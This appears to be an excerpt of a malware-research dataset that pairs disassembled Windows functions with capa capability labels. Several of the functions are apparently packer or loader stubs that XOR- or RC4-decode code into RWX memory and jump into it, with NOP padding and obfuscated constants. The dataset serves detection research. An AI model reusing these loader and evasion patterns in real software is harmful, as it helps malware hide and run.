joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00409a27
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00409a27
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00409a27
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00409a27
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00409a27
mov dword [0x41203c], eax
call fcn.00409a27
test eax, eax
jge 0x402550
push 8
call fcn.00409a27
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00409a27
pop ecx
push 1
call fcn.00409a27
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00409a27
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00409a27
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00409a27
jmp 0x402495

Function at 0x409a27
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x409a36
pop dword [ebp - 0x3c]
mov eax, 0x64d38bcb
sub eax, 0x6492f195
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x38fa2
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0xea1da7ae
sub ecx, 0xea1d60ba
mov edi, eax
mov ebx, 0x58b8e2d8
add ebx, 0xa78858ec
add ebx, dword [ebp - 0x3c]
mov edx, 0xf8fb7aec
add edx, 0xa7f9ec3d
mov dword [ebp - 8], 0x11051363
mov esi, dword [ebx]
xor dword [ebp - 0x38], ebx
xor esi, edx
add dword [ebp - 4], esi
mov dword [edi], esi
sub dword [ebp - 0x20], 0xd80a9587
add edi, 4
add ebx, 4
loop 0x409a90
add eax, 0xc1207ff3
sub eax, 0xc11f7150
xor ebx, ebx
add ebx, eax
add eax, 0xf3ffd7dd
sub eax, 0xf3ffd7d8
mov ecx, 0x7317a362
sub ecx, 0x72d7a362
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10006762
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x1005f070]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10060d58], 0
jne 0x10006812
and dword [ebp - 0x6c], 0
lea eax, [ebp - 0x6c]
push esi
push eax
push 0x20019
push ecx
mov edx, str.SOFTWAREMicrosoftInternet_Explorer
mov dword [ebp - 0x70], 0x64
mov ecx, 0x80000002
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
xor esi, esi
inc esi
test eax, eax
jne 0x100067fc
movzx eax, byte [ebp - 0x68]
xor ecx, ecx
cmp dword [ebp - 0x74], esi
cmove eax, ecx
mov byte [ebp - 0x68], al
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x74]
push eax
push ecx
push str.Version
push dword [ebp - 0x6c]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
jne 0x100067fc
cmp word [ebp - 0x68], ax
je 0x100067fc
push 0xa
pop edx
lea ecx, [ebp - 0x68]
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
mov ecx, dword [0x10060d54]
cmp eax, 4
cmova ecx, esi
mov dword [0x10060d54], ecx
cmp dword [ebp - 0x6c], 0
mov dword [0x10060d58], esi
pop esi
je 0x10006812
push dword [ebp - 0x6c]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [0x10060d54]
xor ecx, ebp
call fcn.1002f764
leave
ret
Function at 0x10009b64
Capabilities:
Delete registry value

Disassembly:
push 0x1c
mov eax, 0x10031761
call fcn.10030d83
mov ebx, edx
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov edi, eax
mov byte [ebp - 4], 5
lea eax, [ebp - 0x18]
mov edx, str.SOFTWARE
push eax
lea eax, [ebp - 0x28]
push eax
sub esp, 0x14
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
mov edx, 0x10036e08
push eax
sub esp, 0x14
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
mov edx, str.Internet_Explorer
push eax
sub esp, 0x14
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
test eax, eax
jne 0x10009c8d
cmp dword [ebp + 8], edi
mov eax, str.Default_HTML_Editor
mov ecx, dword [ebp - 0x14]
mov esi, str.Default_MHTML_Editor
cmove esi, eax
mov edx, esi
call fcn.1000b7bc
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
mov edx, esi
push eax
sub esp, 0x14
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
mov edx, 0x10036e40
push eax
sub esp, 0x14
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
mov edx, 0x100364c0
push eax
sub esp, 0x14
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
test eax, eax
jne 0x10009c8d
push str.Description
push dword [ebp - 0x10]
call dword [sym.imp.advapi32.dll_RegDeleteValueW]
mov edx, dword [ebp - 0x1c]
xor esi, esi
push esi
mov ecx, ebx
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
call fcn.10006762
test eax, eax
je 0x10009c8a
push esi
push esi
push 0x1a
push 0xffff
call dword [sym.imp.USER32.dll_SendNotifyMessageW]
xor edi, edi
inc edi
cmp dword [ebp - 0x1c], 0
mov esi, dword [sym.imp.advapi32.dll_RegCloseKey]
je 0x10009c9e
push dword [ebp - 0x1c]
call esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x20], ebx
je 0x10009cad
push dword [ebp - 0x20]
call esi
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x10], ebx
je 0x10009cba
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
je 0x10009cc7
push dword [ebp - 0x14]
call esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x24], ebx
je 0x10009cd4
push dword [ebp - 0x24]
call esi
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x28], ebx
je 0x10009ce1
push dword [ebp - 0x28]
call esi
mov eax, edi
call fcn.10030d61
ret 4
Function at 0x1001d0a2
Capabilities:
Get thread local storage value

Disassembly:
push 8
mov eax, 0x100323df
call fcn.10030d83
cmp byte [0x100604ac], 0
push dword [0x100604a8]
je 0x1001d0c5
call dword [sym.imp.kernel32.dll_FlsGetValue]
jmp 0x1001d0cb
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
jne 0x1001d114
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
pop ecx
test esi, esi
je 0x1001d11c
mov dword [ebp - 0x10], esi
xor edi, edi
mov dword [ebp - 4], edi
push 8
pop ecx
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
call fcn.1000ccf7
mov dword [esi], eax
push esi
mov dword [eax], edi
mov dword [eax + 4], edi
mov ecx, dword [esi]
mov dword [ecx], esi
mov ecx, 0x100604a8
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
mov eax, esi
call fcn.10030d61
ret
call sym.MSOHEV.dll__FHevSetDefaultEditor_4
int3
Function at 0x1000b3c6
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101c4ac0], 0
mov byte [0x101c4ac4], 0
mov edi, dword [0x101c4ab4]
add edi, 0xe84
mov dword [0x101c4ab8], edi
mov dword [0x101c4abc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1000b4c5
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x101c4ac8], 0
mov edi, dword [0x101c4ac0]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x101c4ac8], esi
mov dword [0x101c4ab4], 0x233b
mov eax, esi
cdq
idiv ecx
mov dword [0x101c4ac0], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x101c4ac4], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x101c4ac4]
mov esi, dword [0x101c4ac0]
mov byte [ebx + esi], cl
mov esi, dword [0x101c4abc]
add esi, 1
mov dword [0x101c4abc], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1000b418
jmp 0x1000b4f7
xor eax, eax
mov dword [0x101c4abc], 0
mov dword [ebp - 0x20], eax
jmp 0x1000b418
mov eax, dword [ebp - 0x1c]
mov dword [0x101c4ab8], 0x8b8
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101c4abc]
add eax, 1
mov dword [0x101c4abc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1000b4c5
jmp 0x1000b4b1
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000b6c8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x101bf617]
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x101c4ab4], 0x1540
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.1000b32b
mov dword [0x101c4ab4], 0x1b9e
call fcn.1000b967
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.1000b207
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x1000b7f1
mov dword [0x101c4ab4], 0x505
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x101c4ab4], 0x1847
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.1000b598
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x101c4ab4], 0x14d0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x2c], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x44], ecx
mov dword [0x101c4ab8], 0xc82
cmp ecx, 0
mov dword [ebp - 0x40], eax
je 0x1000b7f1
mov eax, dword [0x101c4ab4]
mov ecx, dword [ebp - 0x44]
add ecx, 0x16d1
add eax, 0x2182
mov dword [0x101c4ab4], eax
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
add esp, 0x4c
pop esi
pop edi
pop ebp
ret
Function at 0x1000c00f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1000c328
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, dword [0x101c4ab4]
add edi, 0x20f3
mov dword [0x101c4ab4], edi
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x101c4ab8], 0x1487
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1000c148
jmp 0x1000c0c3
mov eax, dword [ebp - 0x28]
mov ecx, eax
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x31], bh
mov byte [ebp - 0x32], cl
je 0x1000c0f4
mov eax, dword [ebp - 0x30]
add eax, 1
mov cl, byte [ebp - 0x31]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x32]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x28], eax
jne 0x1000c070
jmp 0x1000c0f4
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edx
jmp 0x1000c070
mov al, byte [ebp - 0x32]
test al, 1
jne 0x1000c123
jmp 0x1000c0fd
xor eax, eax
mov ecx, dword [ebp - 0x40]
add ecx, 2
mov edx, dword [ebp - 0x44]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x24], eax
jb 0x1000c0d5
jmp 0x1000c148
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x101c4ab4], 0x954
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c153
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0xc], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [0x101c4ab8]
add edx, 0xffffd94f
mov dword [0x101c4ab4], edx
mov esi, dword [ebp - 0xc]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ecx
jmp 0x1000c1dd
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1000c29f
mov eax, dword [ebp - 0x24]
add eax, 1
cmp eax, 0x104
mov ecx, dword [ebp - 0x28]
mov edx, eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], eax
jl 0x1000c1dd
jmp 0x1000c204
mov eax, dword [ebp - 0x30]
add eax, 0xffffe7d7
mov dword [0x101c4ab4], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x34]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1000c241
jmp 0x1000c196
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov edx, ecx
add edx, 0xffffe3e9
mov esi, dword [ebp - 0x18]
cmp word [esi + eax*2], 0
mov edi, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], edi
jne 0x1000c1a0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [0x101c4ab4], ecx
mov edx, dword [ebp - 0x18]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x34], eax
jne 0x1000c196
mov dword [0x101c4ab8], 0x7a0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x34]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x1000c1bf
jmp 0x1000c196
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x34]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1000c196
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x34]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1000c196
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x34]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1000c196
mov eax, 1
mov dword [0x101c4ab4], 0xb63
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x34]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
jne 0x1000c196
mov eax, dword [ebp - 0x20]
add esp, 0x2c
pop esi
pop edi
pop ebp
ret
Function at 0x1000c4e4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101c4abc], 0
mov dword [0x101c4ac0], 0
mov dword [0x101c4acc], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1000c642
jmp 0x1000c556
mov eax, dword [0x101c4abc]
mov ecx, dword [0x101c4ac0]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add edx, 1
mov edi, ecx
add edi, 1
mov dword [0x101c4ab4], 0x581
mov dword [ebp - 0x30], eax
mov eax, edx
cdq
idiv esi
mov dword [0x101c4abc], edx
mov dword [0x101c4ab8], 0x20ec
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x101c4ac0], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x101c4ac4], cl
mov dword [0x101c4ab8], 0x1c17
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101c4ac4]
mov edx, dword [0x101c4ac0]
mov byte [ebx + edx], cl
mov edx, dword [0x101c4abc]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x101c4ac0]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x101c4acc], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x34]
mov ch, byte [edx + esi]
mov dword [0x101c4ab8], 0x2239
mov edx, dword [0x101c4ab4]
add edx, 0x97e
mov dword [0x101c4ab4], edx
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x2c], edi
jne 0x1000c53f
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c64a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [0x101c4ab4], 0x895
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000bac0
lea ecx, [0x1000b7fb]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x58], edx
mov dword [esp + 0x44], 0x11ee00
mov edx, dword [0x101c4aa0]
mov dword [esp + 0x40], edx
mov edx, dword [0x101c4aa4]
mov dword [esp + 0x60], edx
mov edx, dword [0x101c4aa8]
mov dword [esp + 0x4c], edx
mov edx, dword [0x101c4aac]
mov dword [esp + 0x88], edx
mov edx, dword [0x101c4ab0]
mov dword [esp + 0x30], edx
mov dword [0x101c4ab8], 0x1d3f
mov dword [0x101c4ab4], 0x2324
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1000c6e5
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x1000c708
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x1000c71c
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1000c6e5
mov eax, dword [esp + 0xc]
mov dword [esp + 0x80], eax
mov dword [0x101c4ab4], 0x4417
mov dword [0x101c4ab8], 0x94b
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x3c], edx
call fcn.1000c153
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
jne 0x1000c6dd
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1000b6c8
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0x10], eax
jmp 0x1000c6dd
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x42dff4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x42e003
pop dword [ebp - 0x14]
mov eax, 0x42e003
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xbeffd4af
sub dword [ebp - 0x24], 0x70ad8f64
mov dword [ebp - 0x20], 0xcf4d4a6c
add dword [ebp - 0x20], 0x62e601d9
mov dword [ebp - 0x1c], 0xac1d3a43
sub dword [ebp - 0x1c], 0x5fd0f615
mov dword [ebp - 0x18], 0x791011e8
sub dword [ebp - 0x18], 0x791011e8
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x1694dab4
add dword [ebp - 0x24], 0x5ddd8ea2
mov dword [ebp - 0x20], 0xce9b1e73
add dword [ebp - 0x20], 0x72d14302
mov dword [ebp - 0x1c], 0x62ad2e0d
sub dword [ebp - 0x1c], 0xff3dc1a1
mov dword [ebp - 0x18], 0x10b18622
add dword [ebp - 0x18], 0xef4e79de
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x316a7131
sub eax, 0x31269e3d
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x465f1
push 0
call eax
mov ecx, 0xdf15b001
sub ecx, 0xdf15670a
xor edx, edx
add edx, eax
mov esi, 0x35f72312
sub esi, 0x35afaf12
add esi, dword [ebp - 0x14]
mov ebx, 0x372e0b67
sub ebx, 0x745cb5c7
mov dword [ebp - 4], 0xa536fd0e
mov edi, dword [esi]
mov dword [ebp - 0xc], 0xb30fc78e
xor edi, ebx
mov dword [edx], edi
mov dword [ebp - 0x10], 0x9e36d91f
add edx, 0x3cadadf9
sub edx, 0x3cadadf5
